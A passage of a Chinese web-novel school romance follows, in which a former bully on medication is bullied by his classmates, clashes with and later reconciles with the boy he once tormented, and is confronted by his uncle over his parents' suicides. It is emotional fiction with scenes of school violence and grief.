李华再次见到他时已经是一个月以后。他刚进教室，就察觉到和平常不一样。他感觉这类似一种第六感，是食草动物踏进丛林对食肉动物的恐惧。他几乎一眼就锁定了距离他很远的另一个原本空着的座位，郑源坐在那里。两个人四目相对，李华还是感到一阵寒意，但很快这种抵触又警惕的情绪就被困惑替代。他看到郑源看着他，片刻后有些痛苦的移开了目光，从桌兜里拿了什么仰脖吃了。
李华不明白也不好奇，坐在了自己的位置上。他的新同桌是一个很内向的女生，两个人偶尔会因为物理题交流，但说话不多。自从郑源回来，他就有些如坐针毡，总有种不安全感，好在的是这种情绪没有维持多久，郑源就申请了辍学。
他不想上了。
郑玉安说：“转学和休学，你选一个。”
郑源没有胆量选第一个，他还是想离得远远地看看李华，就选了休学。
郑玉安看他神色萎靡不振，问他是不是又跟李华有关。郑源说没有关系，怕郑玉安找李华的麻烦，只休了一个星期，又强打起精神上学去了。
当时樊瑞问他：“你准备怎么对付他？”
郑源没有回答。
樊瑞跟他说：“源子，既然这样了，我也跟你摊牌了，傅一青是有错，但是真正的问题，出在你，你谁都怪不了。”
郑源想，他已经知道了。
他很累，太累了，累到不想再想这些了，不是不报复，是还没想好，也没心情想怎么报复。
药让他嗜睡，也让他昏沉。他想，怪不得会让人的情绪稳定，天天这样有气无力
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，谁还会发脾气？
他从前睡不好，现在倒是能睡了，只是睡着以后枕头老被哭湿，在梦里喊爸爸妈妈，喊李华。
他不知道他还能怎么做，他能想到的最好的办法，就是离他远远的，放过他，不再打扰他，像他说的，尊重他，给他自由，没有干涉和管控。
郑源不觉得委屈，也不会用这种方式来换取他的同情，更不是自我感动。说实话他觉得挺丢人的，他吃上这个药，好像就证明他真的有精神病，但是不吃药，他的确是个精神病。他开始在脑子里调侃，有时会在别人莫名其妙地眼神中笑出来。他的状态实在是太不对劲，让老师找了好几次。但是郑源感觉自己很正常，也很满意，这种安生的状态没什么不好。
从老师的办公室出来时撞到了李华，他下意识扶住他，张张嘴，说了声抱歉，有些僵硬的离开，手抖着在楼梯口吃了好几粒。
又有些神经的想今天碰到了他，摸到了他，很开心。
他死气沉沉，却又诡异的情绪化，让大家都猜他是不是遭受到了什么打击。甚至有人猜是不是他的家人去世了。但是他还有家人可以去世吗？不知道是谁这么说了一句，李华皱起眉，扭头看郑源。郑源听到了，其他同学也都听到了，以为他会瞬间暴怒，站起来跳脚，但是郑源没有，他只是看看他们，又扭过去了。
“我操，郑源转性了。”王玉代震惊。
“真的假的？不会是装的吧？但是他现在看起来很好欺负。”
“你去试试。”
“去你妈，你怎么不试。”
一帮男生打打闹闹，有的试着喊郑源去打球。这是他平时最喜欢的运动，郑源却背对他们，像是没听到。有个男生心里痒，郑源以前可没少鄙视他们。他舔舔唇，故意将篮球朝他砸去，砰的很响一声，砸到郑源的后脑勺。郑源的头往前冲了一下，扭头看他们，男生说：“不好意思啊。”
他的态度有些轻蔑，还带着笑，但郑源没有理，只是又把头扭了过去。
“我操，真转性了。”他们窃窃私语。
“怎么感觉变傻了？”
“不是，该不会真受什么刺激，傻了吧？”
“看眼神都很呆啊，呆瓜一样。”
平时耀武扬威的、校园霸凌他人的富二代一朝沦为傻子，郑源在学校的仇敌可不少，不少人都嘲笑他，借着开玩笑的名义过来欺负他，今天是不小心撞到了，明天是不小心泼到了。
郑源也知道大家对他的恶意，但是他坦然接受了，感觉没什么大不了，说真的这点疼，原没有亲手掐死自己一直所渴求的希望疼，他在这一刻，或者说在现在，比他们还要厌恶他自己。
没有人替他说话，也没有人为他出头，这就是他平时作恶的下场，他的因，他的果。
他名贵的书包被人踩在地上，郑源捡起来拍了拍，塞回了桌兜，连手机也被人抢走扔进垃圾桶，进了水，上面还粘着恶心的黏液，郑源只是叹口气，捡了起来。
直到一个阴雨天，他被人在小树林打了一顿。
他躺在泥土上，浑身疼的不敢动，脑袋也嗡嗡的，药瓶掉在地上滚了几步，里面的小药丸掉出来，他斜眼看着，笑了。
却有一把伞出现，他微微瞪大眼，苍白的脸忍着痛也要连滚带爬地到对方脚边，试图制止他的动作。
伞微微倾斜，遮住了掉在他身上的雨滴，郑源全身僵硬，又冷又疼，他微微抬头看他，眯着眼。
李华面无表情地，居高临下地看着他。
“站起来。”他说。
82.第 89 章
班主任知道郑源状态不对，也知道班里同学因为他平时的作风跟他不太对付，却没想到这群十几岁的毛头小子真能胆大妄为到这个地步。于是他火急火燎地召开了班会，好好痛批了一下校园暴力的危害。只是学生们都懒洋洋的，没几个听到心里去。他们也不傻，能看出老师偏爱谁、讨厌谁，现在开这个班会是为了谁。
班主任猛地拍了讲台，呵斥他们不懂事。却没想有个男生出头道：“老师，明明是你之前说这都是同学之间的小打小闹！”
“对啊，他欺负我们的时候老师你怎么不说啊。”
“就是就是。”
李华看到班主任的脸一阵青一阵白。
特权不是通天梯，何况真正顾及着郑源家庭背景的除了几个早熟的同学，那些正儿八经处在他们这个阶段玩闹的男生冲动起来哪儿会注意这个。班主任哑口无言，片刻后才沉着脸说性质不一样。
可又不一样到哪儿？他看着下面一双双明亮又不服的双眼，第一次产生了逃避的心理。
仿佛这不是一场简单的校园霸凌，而是底层人民对阶级的愤慨和被压榨后的痛恨起义。
“之前上体育课，他莫名其妙的踢我。”
“他还打过我。”
“也打过我！”
“还扇过我、拽我头发……”徐梦梦小声嘟囔，到现在她还有心理阴影。
一个人起头，都开始告状。好好的班会竟然成了诉状堂。处在舆论中心的郑源看着他们一个个煞有介事的模样，更像是一语点醒梦中人，恍然大悟。他们说的这些罪状是真的吗？好像是真的。他有些记不清了，但他知道他欺负过很多人，多的他记不过来，有些人甚至是像他们说的那样，他只是路过自己，自己就下意识打了他一下，完全没有理由的，就是想。
原来这种不加管束的随心所欲，就是恶意。
郑源纵观整个班级，最近这个时间段欺负过自己的都有谁？他也记不清了，因为多如牛毛。但他记得那个小胖子，欺负的最狠了。他朝他看去，见对方下意识害怕了一下，躲开他的注视。郑源就突然觉得没意思。他当初怎么想的，竟然会觉得欺负这些人好玩。那他欺负的最厉害的是谁呢？他扫了一圈，目光停在李华身上。
李华背对着他坐的很直，但低着头在学习，完全没有受到干扰。
是了，因为欺负那些人没意思，因为他们都会很快的认错投降，所以他欺负了李华，因为他怎么样都不低头，不退后，也不罢休。
郑源低头摸了一下自己手上的创可贴。
那天下着雨，李华让他站了起来，给了他一块儿创可贴。
这一块儿创可贴什么伤痕都贴不住，但郑源还是收了起来，将它贴在了手上，好像多了层盔甲。
李华转身离开了，他们没有说第二句话。
有个学生说：“他还把我的学习机弄坏了！”
郑源沉浸在自己是思绪里出不来，一道清脆又镇定的声音替他反驳了回去：“你撒谎。”
漫天的恶意有他自己种下的果子，也有混入其中夹杂着谎言的编造。没有人替他说话，但李华还是那么傻。他坚定的声音让对方很尴尬，脸瞬间红了：“你怎么知道没有？我说有就是有！”
“你的学习机是你自己摔坏的，郑源路过你时你扔在了地上。”李华扭头看他，“我亲眼看见的。”
一阵唏嘘。那男生恼羞成怒：“你！你当然替他说话！谁不知道你俩是什么关系！恶心的同性恋！”
老师拍了一下讲台，李华面色不变。比这更难听的话他都听过，无所谓。
下课铃响了，班主任正好结束了班会，前脚刚走出教室，就听到后头的惊呼。他一转身，就看到郑源掐着那个男生的脖子把他摁在地上一拳一拳的揍，看情况是从班里追到走廊上，瞬间围满了学生。他连忙冲过去将郑源拉开。郑源低着头喘气，靠着墙，手上全是血。男生被打的晕死过去一动不动，班主任连忙让几个男生抬他去医务室。
又冲动了。郑源感受着自己的心跳，从校裤里摸出药瓶磕出几个白色药丸倒进嘴里。药吃慢了，他想。手上的血已经干了，全粘在手背、指关节。他低头搓了搓，没搓掉，抬眼，看到李华站在三步远的距离看着他。他撇开脸，逃似的去了厕所。
李华听到了那个男生在下课时骂了他一句：“操你妈李华。”
郑源就向箭一样冲出去了。
他突然想，校园暴力，到底是个什么定义呢？从一个人，到一个团体，一个人是校园暴力，一个集体就是正义了吗？因为郑源殴打过别人，所以别人对他的报复就是对的了吗？那纵容又旁观的老师算什么呢？没有正确引导孩子的家长又算什么呢？他当初被打的时候是没找过老师吗？他一不做二不休直接找到校长希望他能出面干涉两个人的交往时有人保护他，替他伸张正义吗？
没有。
真正可怕的不是一次言语上的辱骂、一次行为上的攻击，而是被助长出来的不良风气。
是树根都已经盘错，就会结出苦涩的果。
李华转身进了教室，看到两个男生在翻郑源的桌兜。他路过坐到自己的座位上，片刻后站起身走过去站在他们身边，两个男生莫名其妙地看着他，李华说：“滚。”
男生们对视一眼，嘁了一声，故意将郑源的书包拽掉踩了一脚，大摇大摆地离开。
李华拦着他：“放回去。”
“不是你他妈有病啊。”男生呸了一声，“当什么好人啊，他欺负过我，我报复一下怎么了？碍你什么事儿了？”
李华只说：“放回去。”
“算了。”另一个男生主动将郑源的书包挂回去，李华才放他们离开。
“神经病。”
李华想，他们只欺负过你们吗？他欺负的最多的难道不是我吗？但是他欺负我的时候你们在哪里呢？没有一个人替自己说话啊。为什么现在又能抱成一团惩恶扬善了？
无非霸凌对象变了而已。
班主任的班会起到了一定的作用，但没太大的用。郑源还是那副死气沉沉的模样，连体育课都只是蹲在角落里。倒不是故意装可怜，他是真懒得去跟别人打交道。而且他现在感觉自己有点过街老鼠的意思，谁看他都是嫌弃厌恶的，让他也不想上杆子寻着找贱。他安生的在那儿看蚂蚁搬家，身形看起来瘦了一些。
“这我真不得不问你了，我真的太好奇了。”王玉代走到李华身边擦了下脸，“你真不知道他怎么了？”
李华摇头。王玉代啧了一声，“平时看他欠揍的模样看惯了，那耀武扬威，神气的不行，猛地见他这样，还有点不适应，总觉得可怜。”
李华缓慢地看着他：“你不恨他？”
“恨啊。”王玉代说。
李华说：“那你还觉得他可怜。”
“这不冲突吧。”王玉代皱眉，“难道你不觉得吗？”
李华没说话，王玉代却以为他要反驳，道，“别装，我能看出来你很关心他。嗐，怎么说呢，没法说，感觉郑源也挺可怜的吧，那句话叫什么，可怜之人必有可恨之处，对，就是这种感觉，又可怜，又可恨。”
李华垂着眸扁袖子，“我没有关心他。”
“噢。”王玉代说：“那当我看错了呗，诶——”
李华顺着他的目光看去，只见几个高年级的男生围着郑源不知道在干什么。像是专门过来找郑源茬的，推搡着他很不客气也很不礼貌。郑源不记得自己得罪过这些人，但是已经不重要了。他们把郑源逼的站起来，又要把他往男厕所拽。王玉代啧了一声，颇为感慨，卖弄上学问：“这叫什么
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？虎落平阳被犬欺诶——？”
往边上一看，李华已经不见了。
“我操，这还说不关心。”王玉代无语，转念一想，“不是啊，告老师啊！”
男厕，几个男生拽着郑源的领子，“你就是郑源啊？”
郑源叹口气，“要打快点打。”
几个男生一对视，纷纷卷起袖子，一拳揍到他的下颚上，有人踹了他的腿弯，他的膝盖砸在地上，跪了下去，紧接着是无数拳打脚踢，郑源还知道抱着头。
挨打比吃药顶用，更能缓解疼痛。
“滚。”
清脆的声音有些颤抖，像劈开乌云的艳阳。郑源一僵，闻到熟悉的气息，冷冽又干净，李华挡在他身前，一只手试图扶起他，一只手向前撑开做着防御的姿态。
他没拿任何武器，也冲了过来。
郑源看着他的侧脸，呼吸急促，手脚都被火热的血液占满。
“你……”他声音沙哑，说不出话。
突然有人喊了声：“保卫处的来了！”
那帮男生互相看看，跑了出去。
这一嗓子用尽了王玉代的全部力气，刚进去就看到李华看着郑源，狠狠地甩他一巴掌。
王玉代震惊：“？？？不是？？？”
郑源被打的偏过头，扭过来看李华，笑了一下：“傻，手疼不疼。”
李华气的浑身颤抖，又抬起手，没扇下去，只直直地看着他：“我不会原谅你的，郑源，我看不起你。”
“我知道。”郑源轻声说：“对不起。”
李华突然感到无以复加地难过。他站起身，眼红了，但他也不知道为什么。他只是狠狠地踹了一脚墙，这是他做过最没有礼貌的事。看着墙上的脚印，他再也绷不住情绪和理智，大声痛骂他：“一句对不起就完了？你对不起我的事儿多了！你说哪件对不起？啊？”
他拽着郑源的领子：“你这样给谁看？这样我就会原谅你了吗？我告诉你，不可能，你死都别想，你被人打死我只会开心！”
郑源抿了一下唇，不敢看他，下意识想找药吃。李华夺过他手里的药砸在地上，小药丸瞬间蹦的到处都是。
“你就是有病，我也不会原谅你。”李华冷笑，“郑源，我最后悔的事，就是遇见你。”
李华看着他一字一顿，“你是我见过最恶心的人。”
郑源无措地看着他，半晌后从地上爬起来，皮笑肉不笑地笑了一下，比哭还难看，点点头，小声说：“我知道的，对不起。”
李华的眼泪突然掉下来了。他硬是被气哭了。他气的气儿都喘不上来，让王玉代吓的连忙拍他的背，李华推开他，看着畏手畏脚的郑源：“你他妈委屈什么？你有我委屈？！不是你，这世界是你的吗？你让他晴就晴，你让他下雨他就下雨？你他妈算老几啊？！你是谁啊？！啊？”
他再次走到郑源面前，直勾勾地看着他，“刚认识的时候我对你不好吗？你凭什么恩将仇报？凭什么说喜欢我？你打我、骂我，把我推给其他人玩，你说你喜欢我？你不要脸吗？你是什么东西啊？你不感觉自己可笑吗？！郑源，你是傻逼，全天下最傻逼的傻逼！！！”
郑源张张嘴，又闭上，心里疼的要命，这里太压抑了，他要疯了，他只能小声重复：“我知道，对不起，李华，对不起，我不会再烦你了，对不起。”
李华气的说不出话了，擦干眼泪，转身走了。
王玉代都被他俩悲伤的情绪感染了，忍不住哀叹，看着李华离去的背影，叹息：“啧，爱情啊，真是让人摸不着头脑。”
虽然李华每句都在控诉，却更像委屈地撒娇和告白。
王玉代被自己的脑补吓住了，好半天没反应过来，等他反应过来时郑源已经捡着小药瓶走了，只留下一地的白色药丸。
83.第 90 章
李华的舅舅来看过他一次，偶尔也会在手机上联系。李华也学会了捯饬手机，比以前熟练的多。他从郑源家搬出来后很少和傅一青联系，对方也沉默的如同消失了般。李华知道学习任务重，就不怎么担心他。
郑源的联系方式还在置顶，李华不会取消，就那么放着。
自上次男厕所揍过他，他就又不上了。李华每次进教室时都会看向他的位置，很快那里又有了学生坐，郑源的位置被放在了最后一排单独一个。
他们将他的东西拽出来扔到后面，扔的满地都是。
李华护过一次，两次，最后只沉默地将郑源的东西捡起来放回去。
郑源把自己关在家里，谁都不见。雷医生来了很多次都没用。胡建国忧心忡忡，雷医生抽着烟，对这畸形的家庭无奈，吐槽道：“也是个可怜小孩儿，为什么不让他跟大人一起住？”
胡建国还是知道些内幕的，惋惜道：“小少爷的母亲不受郑家人的待见，两位长辈卡着不让结婚。”
郑源的母亲生下他时都没和他父亲结婚。一对有情人天真的以为生米煮成熟饭就能修成正果，以此要挟家里长辈点头。那时家族里最有权利的就是郑源的爷爷奶奶。没想到两位二老更是一不做二不休，孩子抢过来，给郑源的父亲定了一门亲事，女方光明正大登堂入室，婚期都将至，直接给郑源找个新妈。
郑源的母亲直接自杀身亡，郑源的父亲也为了孩子强撑了几年，只是最终站在了楼层最高处，仿佛伸手就可以触摸到天堂、他爱人的脸庞，从楼顶一跃而下，死在郑源眼前。
“所以郑源其实并不受他家里人待见。”雷医生面色复杂，怪不得他爸的产业那么快被分食殆尽，连过年大家也都很少聚在一起。
“他爸活着的时候还好，起码看在他爸的面子上，那生日宴会、派对，一个接一个。”胡建国叹息，“而且雷医生你知道吗？其实郑少爷是从家宅被赶出来的，但是明面上不能说这些，就找了个其他冠冕堂皇的理由让郑源小叔把他接走了，唉，无论如何，小孩儿是可怜的啊！”
一辆奢华的黑车停在楼下，胡建国瞬间掐灭了烟，雷医生也站直了。这是郑玉安的私车。
郑玉安推了一下眼镜，薄如蝉翼的镜片架在高挺的鼻梁上，显得锐利又冰冷。
他什么都没说，直接让人开了门。昏暗、寂静、空旷的客厅，地上扔的有烟盒，郑玉安踩在上面，一尘不染的黑皮鞋发出轻微的塑料声响，他径直走进卧室，踹开了门。
郑源抱着李华盖过的被子睡的眉头紧皱。郑玉安转身去洗手间接了杯冰水泼在他脸上。郑源偏了下头，头发湿了，滴着水，水珠顺着侧脸掉在锁骨上，很凉。他还没彻底醒，又一杯泼到了脸上，他嘶了一声睁开眼，看到郑玉安。
“醒了。”郑玉安说，“滚出来。”
郑源浑浑噩噩地揉揉脑袋，他想他不是锁门了吗？
郑玉安坐在沙发上看着他，“你是不是忘了你是谁。”
郑源沉默。
郑玉安当然知道解铃还须系铃人，也知道郑源这样是为什么，但他就想跟这该死的命运抗争，就像他至今也不愿意相信郑源的父亲真的能抛下责任、抛下所有的一切，因为该死的爱情去殉情。
他致力于将郑源与他的父亲切割开，不愿看到他们有一丁点的相像。
但他坐在这儿沉默，瞬间让郑玉安有种错觉，仿佛几年前，他和郑源父亲面对面。
“你就不能为小源想想吗？！”
“我们终于到这一步了，你不能放弃。”
“你要跨过你心里的那道坎儿——”
他没有跨过，他从楼上跳了下去。
郑玉安只要回想，就能感受到那一刻的毛骨悚然。
再冷漠的人，也接受不了上一秒还在世的亲人下一秒在地上摔的粉碎。
脑浆迸裂、七窍流血、肝脏摔出、身体扭曲、骨头都碎了一半。
郑玉安吐了很多天，恶心到记恨。他觉得这种行为简直匪夷所思，看似伟大，实则怯懦、自私、更卑鄙。
那时郑源的父亲也像现在这般，安静地坐在他对面，屏蔽了一切。
郑玉安早该发现他活不长，但他偏不信。
他总觉得人能胜天，他的哥哥能战胜心魔。
郑玉安说：“你爸爸在家排行第三，我第四，我们两个关系是最好的。”
怎么突然提起他爸。郑源莫名其妙地看着他。
“他和我不一样。”郑玉安看着他说，“我为了名利，割舍了爱情，但他为了爱情，放弃了一切。”
“你后悔吗？”郑源问他。
郑玉安看着他没说话。
郑源便又垂下了眸。
“后悔是没有界限的。”郑玉安说，“如果要后悔，我后悔的事就太多了。”
“但是我很后悔，小叔。”郑源说不出口，“我很后悔那么对他，我很后悔对他做的一切，我不知道那是不对的，我只是以为……那样是有用的。我照着学、模仿、生搬硬套、我伤害了他……他不会再信我了……我们没可能了，都怪我……我恨不得把自己杀了，我很难过，我不知道该怎么办，我弥补不了，我也不配，我什么都干不了，我要疯了……”
“那就结束吧。”郑玉安拿出了机票和资料放在桌子上，“英国的一所学校。”
郑源看看他，看看机票，摇头：“我不要。”
郑玉安的态度很强硬：“我们说过，你不会在国内读大学。现在走和高中走没什么区别，正好散散心。”
“我不要！”郑源猛地站起来，像做出进攻姿态的刺猬。郑玉安平静地看着他，“就是再给你几年能怎么样，小源，你真当你们能在一起吗？你自己要做什么，你忘了吗？”
之前不阻止他，是因为人都有情窦初开的阶段。就算不是李华，也会是其他人。男孩儿反而比女孩儿更好处理。郑源要真像私塾那帮富家子弟一样三天两头给他整出个娃娃，他还真得出几十万
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赔罪。
郑玉安拍拍他的肩，“伤心过后就没什么了，初恋都是用来怀念的。只当一场体验，不用放在心上。”
“我真的喜欢他，小叔。”郑源呼吸颤抖，“我不想走，我想看着他。”
“而且你……你现在的女人。”郑源看着他：“不也是你的初恋吗？她都有家了，有孩子了，你不是也……”
“因为没人敢管我。”郑玉安看着他茫然的眼睛，“但你受制于人，就算不是我，也会是郑家其他人。你忘记我告诉过你，你的父母是怎么死的了吗？”
是活生生被拆散、被榨干人生最后一点价值，被逼死的。
要不然，就放下前尘往事，去国外生活，要不然，就留下，和他们厮杀，成为最终的自己。
但无论哪种，都没有第三条路可走，那就是待在这里，当着郑少爷，还不想受人管制。
哪怕郑源仇恨他，他也不希望他走上他父亲的老路。
郑玉安走时，郑源看着他的背影，说：“小叔。你当时放弃她，也是因为这个原因吗？”
也是因为家里的原因吗？看到了他父亲的下场以后吗？
郑玉安背影微顿，回头看他一眼，离开了。
一个星期后，郑源去上学了。李华抱着卷子进班时懵了，因为郑源又把桌子搬回去了，搬到他旁边了。班里本来吵吵闹闹，在他出现后鸦雀无声。郑源抬头看他，笑了一下，很阳光帅气，像两个人第一次见面。李华皱着眉把卷子放在讲桌上，快步走过去，语气很不好：“你干什么？”
“没干什么啊。”郑源摸摸脑袋，“回归原位。”
李华盯着他：“你不是不上了吗？”
“谁说的？谁造谣啊。”郑源目不转睛地看着他，“我怎么舍得啊。”
李华凝固了一秒，感觉如坐针毡，但还是坐下了。他感觉浑身刺挠。郑源还偏偏撑着脑袋看他，李华看他一眼，“你看我干什么。”
“太长时间没见了，看看你。”郑源微微凑近他，闻了闻，满意了，“还是熟悉的味道。”
“有病吧你。”李华很烦，往后退了退，又想到什么似的，“怎么，装不下去了？”
郑源知道他说的是自己之前的状态，没解释，“医生说病治不好了，劝趁早放弃。”
李华一愣，“你真生病了？什么病，癌症吗？”
郑源看着他认真的样子笑了，忍不住捏他的脸，被他打开也不恼，不要脸的压低声音，故作正经：“相思病。”
李华完全是下意识的动作，一巴掌就拍到了他的头上。
郑源握住他的手腕拉下来，李华挣脱没挣动，其他同学都看着，他的脸和耳朵包括脖子，都红了，有些愠怒：“放开我。”
郑源握住他的手腕细细地摩挲：“怎么这么久了，你还是这么瘦？”
他的手指从手腕摸到李华的手，指尖插进指尖，和他十指相扣，趴在桌子上看他，“我做梦都在想你，李华，你想不想我？”
84.第 91 章
一个人有精气神儿跟没有差距实在是大。郑源这次重返校园李华清楚地感受到大家收敛的多，一种共同的默契，都没有那么嚣张狂妄。他们装作不在乎，但路过郑源时都目不转睛，仿佛怕他随时报复。但郑源没有，他一直很愉悦的模样，哼着小曲，偶尔还主动跟前后桌唠嗑，还会在上课时好好听课，也没有过多纠缠李华。
这让李华满意和惊讶，又让他感觉像在一块儿薄冰上行走，但他又不喜欢提前焦虑，很快让自己的注意力放回到学习。
“这道题怎么写来着？”郑源问他，他前段时间什么都没听，不确定自己是否还记得正确的解题步骤。他问的自然，李华也没有多想，跟他说了一遍，带上解题步骤。郑源咬着笔看他，“那要是加上这个数呢？等于多少？”
李华说：“哪里来的这个数？”
郑源说：“我加的啊，等于多少？”
“等于五百二十一。”
“嗯，我也爱你。”
李华一顿，对上他得意的眼神，无语地把本儿推给他。
班上现在正流行这种数字游戏，还有什么一三一四，都让郑源给学会了。
“你生气了？”郑源小心翼翼地问他，看着他冷漠地侧脸。
李华懒得理他。郑源说：“别生气啊，逗你玩呢。”他试图在下面勾李华的手，被李华瞪回去，“别烦我。”
“噢。”郑源老实了，但还是问他：“你真生气啦？”
李华烦得要死：“没有。”
郑源就不再问了。
两个人的关系因为郑源不再犯贱缓和的多，虽然李华还是没有好脸色，但郑源已经满足了。他也没有强迫李华回去和自己住，而是每天早上都早早来学校，直奔李华的寝室，喊他起床。李华的室友敢怒不敢言，李华更是莫名其妙，头发乱乱地坐着，睡衣都扭着，满脸呆滞地看着他。郑源活力四射：“李华，起床，我带你去跑步。”
李华：“……”
李华看了眼时间，倒了回去。郑源喋喋不休，说他身体不好，体育太差，得不了高分。他爬上栏杆，看着捂住耳朵的李华：“快，别浪费时间。”
李华反手就要打他，他打郑源真是已经养成习惯了。郑源眼疾手快地握住他的手，细瘦的手腕暖烘烘的，还带着慵懒的舒适。郑源真想钻进他的被窝里，但他穿着外衣，就亲亲他的手腕，声音温柔地哄：“起来了宝贝儿，体育不想满分了？”
李华挣了一下没挣动，睁开眼睛，睡眼惺忪。郑源伸手插进他柔软的发揉了揉，将自己拉近亲了口他的额头，又蜻蜓点水地碰了下唇，松开他：“我下去等你。”
被他这么一搞，李华彻底睡不着了，收拾整齐，跟他出去了。天都还没亮，郑源怕他冲着冷风，贴心地半抱着把他护在怀里，李华挣扎，郑源说：“没人看见，快到了。”
到了操场，天刚有要亮的趋势，郑源说晨练不用太长时间，半个小时就可以，但要做好拉伸。他让李华跟着他学，舒展筋骨，再教他正确的跑步姿势和如何吸气呼气，以防不换气，憋的胸口闷疼。随即他拿出早就准备好的跑鞋，说他鞋不行，要换。
已经提前一个小时起床了，李华现在是什么脾气都没了，也想不起生气了，他让干什么就干什么，只是自己找地方坐换鞋时，郑源说哪有这么麻烦，让李华站着，扶着自己的肩膀，他给李华换。李华瞪大眼，连忙拒绝。虽然他很爱干净，但这也太……郑源当然知道他不好意思，但他摸索出了一些和李华的相处之道，只要不是李华特别不能忍受的事情，主要指自己不要对他动手动脚，或者太强硬的压迫他，在其他小事上是可以不用太询问他的意见。
郑源直接半跪了下来，抬起了他的脚。
李华踉跄了一下，下意识扶住他的肩。郑源是个少爷，伺候起他来却得心应手。李华看着他的发旋，将脚在地上踩了踩，像踩到云朵上似的，非常舒服。他垂眸看着，郑源拍拍手站起来，勾起唇，“怎么样，舒服吧。”
李华诚实地点点头，郑源想卖乖地讨个吻，忍住了。他说：“那就开始吧。”
李华以为他会看着自己跑，没想到他跟着自己一起跑。不过两个人跑起来的确好得多，也没感到多累，或许是新鞋的加持？李华不知道。最后郑源带着他去了大门口，胡建国一直在那儿等着，见两个人出来了，连忙让安保开门，迎着两个人上车吃饭。
是辆保姆车。
“学校的餐不是不好，是没营养，这都是按照食谱做的，可能不太好吃，但一定有用。”郑源解释，看到李华对着早餐沉默，自己也沉默了，因为他也不喜欢吃。
“谢谢。”李华说，动了筷子。
郑源笑了。
回到教室，李华发现自己格外精神，往常第一节课前几分钟都会有些困顿，但强打起精神也能进入状态，现在不知道是运动作用还是心理因素，让他的思维非常活跃和专注，哪怕是火山在旁边爆炸了，他都难转移视线。
但旁边没有火山，而是另一个优秀的人。
两个人突然像飙着劲学一样，眼里没有其他人，逮着题就是刷，瞬间跟同学们拉开一大截距离。郑源说：“你写的没我快。”
李华说：“你实验做的没我好。”
郑源说：“你公式背不牢。”
李华说：“你作文分比我低。”
王玉代路过他们两个的双满分卷子，愤恨地吐槽一句：“尼玛的，俩疯子。”
他突然就理解了为什么班里就他们两个人抵死纠缠，因为其他人跟他们根本不是一个维度。
颇有些既生瑜何生亮的意思。
他们这个劲头对老师而言自然是非常好的，他大力鼓励他们的学习劲头。也有一些学生看郑源没有计较之前受欺负的意思，想过来跟他闹着玩的，郑源也很大度，他们要什么给什么。课间，他们去打球，李华在角落的阴影里看郑源，看他被人撞了也只是笑笑，不生气。
“变了很多，对吧。”
李华扭头，赵敏抱着膀子，目光越过了郑源，看向了另一边的徐梦梦。感受到李华看着自己，她笑了一下：“什么眼神，我对他没意思。”
李华扭过头，赵敏说：“我也只是感慨而已，从前的混世魔王，现在的老好人。”
李华不知道她说这些干什么，就一直沉默。赵敏怜悯地看他一眼，叹口气，“虽然吧，我之前不太看好你们，但我有时候真能理解他，那种爱而不得的愤怒和走投无路。”
“你喜欢徐梦梦。”李华说，非常干脆，没有一丝犹豫和怀疑。
赵敏啊了一声，笑
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了：“对。”
她耸了下肩，“她以前喜欢你，我以为你让她失望，她就能……但是她现在又有了喜欢的人。”
“我好可怜啊。”赵敏自嘲着说，她也很好奇，“不知道为什么，我总觉得你不会歧视，但其他人就不一定了。”
人总得有一个发泄的渠道，像他们这种春心萌动，还不是对着异性的忧郁和压力，李华突然有些理解她。
“你喜欢她很长时间了吗？”他主动问，有进一步倾听的意思。
赵敏点头，也没打算隐瞒，“我很早就认识她了。”
李华觉得新奇和新鲜，这还是他第一次去主动问别人的感情故事、八卦，这拉近了他们的距离。两个人干脆找个地方坐下了。赵敏断断续续地跟他讲她和徐梦梦，李华听的仔细也认真，听到感慨处还会皱下眉，颇为惋惜似的。赵敏看他可爱，感觉他像个小机器人。
“你和郑源呢？”赵敏说，“你真察觉不到他喜欢你吗？或者真对他一点感觉都没有吗？”
不一定吧，不然怎么会在这儿看他打篮球呢？
“我觉得他很神奇。”李华没看她，看似冷静的外表，睫毛轻颤了两下，语气也很轻，是斟酌地用词和态度，是封死的心只开了一个小小的口，生怕被人看出真面目。
“你能分清友情和喜欢吗？”赵敏突然问他。
李华摇头。
赵敏看着他：“假如郑源有喜欢的人，你是伤心还是生气？”
伤心还是生气？李华有些茫然，他不知道。郑源有喜欢的人？像之前的那个女生吗？他抿着唇，好像有生气，也好想有伤心。他问她：“是生气，还是伤心？”
赵敏看郑源朝她们走了过来，起身准备离开：“不是生气也不是伤心。”
李华看着她有些惊讶，赵敏认真地说：“因为如果不是喜欢，根本不会有这两种情绪。我没有说要二选一，你也没有说会开心。”
她走了。郑源走近李华皱了下眉，李华扭过来看他，郑源说：“怎么这个表情，她跟你说什么了？”
他强迫李华出来呼吸新鲜空气，别窝在班里学习。李华摇头，只说：“刚才8号撞你。”
“噢，没事，打球么。”郑源跟他并排，看他不开心似的，说：“怎么了？”
李华还是摇头。
赵敏的推心置腹让他不想逃避，如果换个人说他喜欢郑源，他可能还会下意识反驳，但经历了这么多，李华的心态变了。以前那种活法没有用了，无论是宽容还是忍让，都不会换来好的结果。这仿佛就是动物世界中讲的弱肉强食。因为郑源以前是老虎，所以大家惧怕他，而当他不是老虎，大家同样欺负他。李华曾寄托希望在同学、舅舅、教师、校长，任何一个大人身上，但教训告诉他，能帮助他的，拯救他的，只有他自己。他经历那么多依然坚强地站在这里，让郑源好好地跟他说话，靠的只有他自己，不是任何人。
李华看了他一眼，想到他做过的那些事，还是没办法原谅他。但是他坦然接受了，他什么都不会做，依然会朝着自己努力的目标进发，但他接受了，因为逃避解决不了任何问题。他看郑源那一眼，明明是平视，却像在审视，多了点苛刻的味道，语气却是温和的，“回班吧。”
“下次不要让他撞你了。”
85.第 94 章
李华穿去婚礼上的衣服是郑源给他挑的。两人早上腻腻歪歪地从床上醒来又抱着亲了会儿，最终以李华受不了为截止。郑源就麻溜的下床洗漱去厨房了。他会做简单的饭菜，比如烧个粥或者炒个西红柿鸡蛋。李华洗漱完走到他跟前，有些惊讶，他以为郑源这种干什么都有人伺候的少爷不下厨房。他说：“我来吧。”
“歇着。”郑源原本就宝贝他，现在更是护的不行，恨不得路都替他走了。
“刚才妈妈给我打电话，问我什么时候到。”李华看着他，郑源说：“十点之前。吃完早饭给你换件衣裳，婚礼，穿好看点。”
“不用。”李华觉得没必要，但郑源软磨硬泡，李华还是同意了。
